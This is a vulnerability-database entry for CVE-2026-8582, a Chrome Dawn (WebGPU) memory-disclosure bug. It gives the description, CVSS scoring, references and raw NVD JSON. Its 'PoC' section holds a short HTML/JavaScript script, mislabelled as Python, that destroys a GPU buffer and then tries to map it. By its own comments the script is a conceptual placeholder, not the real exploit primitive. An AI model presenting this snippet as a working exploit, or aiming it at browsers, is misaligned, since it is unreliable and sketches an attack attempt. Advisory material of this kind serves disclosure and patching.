CVE-2026-8582

Description

Object lifecycle issue in Dawn in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Conceptual PoC for CVE-2026-8582 -->
<!-- This code simulates the trigger context in Dawn (WebGPU) -->
<html>
<body>
<script>
async function triggerVuln() {
    // Check if WebGPU is available
    if (!navigator.gpu) {
        console.log("WebGPU not supported");
        return;
    }
    const adapter = await navigator.gpu.requestAdapter();
    const device = await adapter.requestDevice();
    
    // Attempt to manipulate buffer lifecycle to trigger the issue
    // Real exploit requires specific memory layout and timing
    const buffer = device.createBuffer({
        size: 1024,
        usage: GPUBufferUsage.MAP_READ | GPUBufferUsage.COPY_DST
    });
    
    // Simulate the lifecycle issue (Conceptual)
    // In a real scenario, specific API calls would corrupt the object
    buffer.destroy();
    
    // Attempt to access/trigger the read on destroyed object
    try {
        // This is a placeholder for the actual exploit primitive
        const mappedBuffer = await buffer.mapAsync(GPUMapMode.READ);
        console.log("Potential info disclosure triggered");
    } catch (e) {
        console.log("Error:", e);
    }
}
triggerVuln();
</script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8582
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8582
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8582/
[4] VulDB https://vuldb.com/cve/CVE-2026-8582
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/497594413

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8582", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:20.600", "lastModified": "2026-05-14T22:16:51.220", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Object lifecycle issue in Dawn in Google Chrome prior to 148.0.7778.168 allowed a remote attacker to obtain potentially sensitive information from process memory via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.6, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-664"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/497594413", "source": "[email protected]"}]}}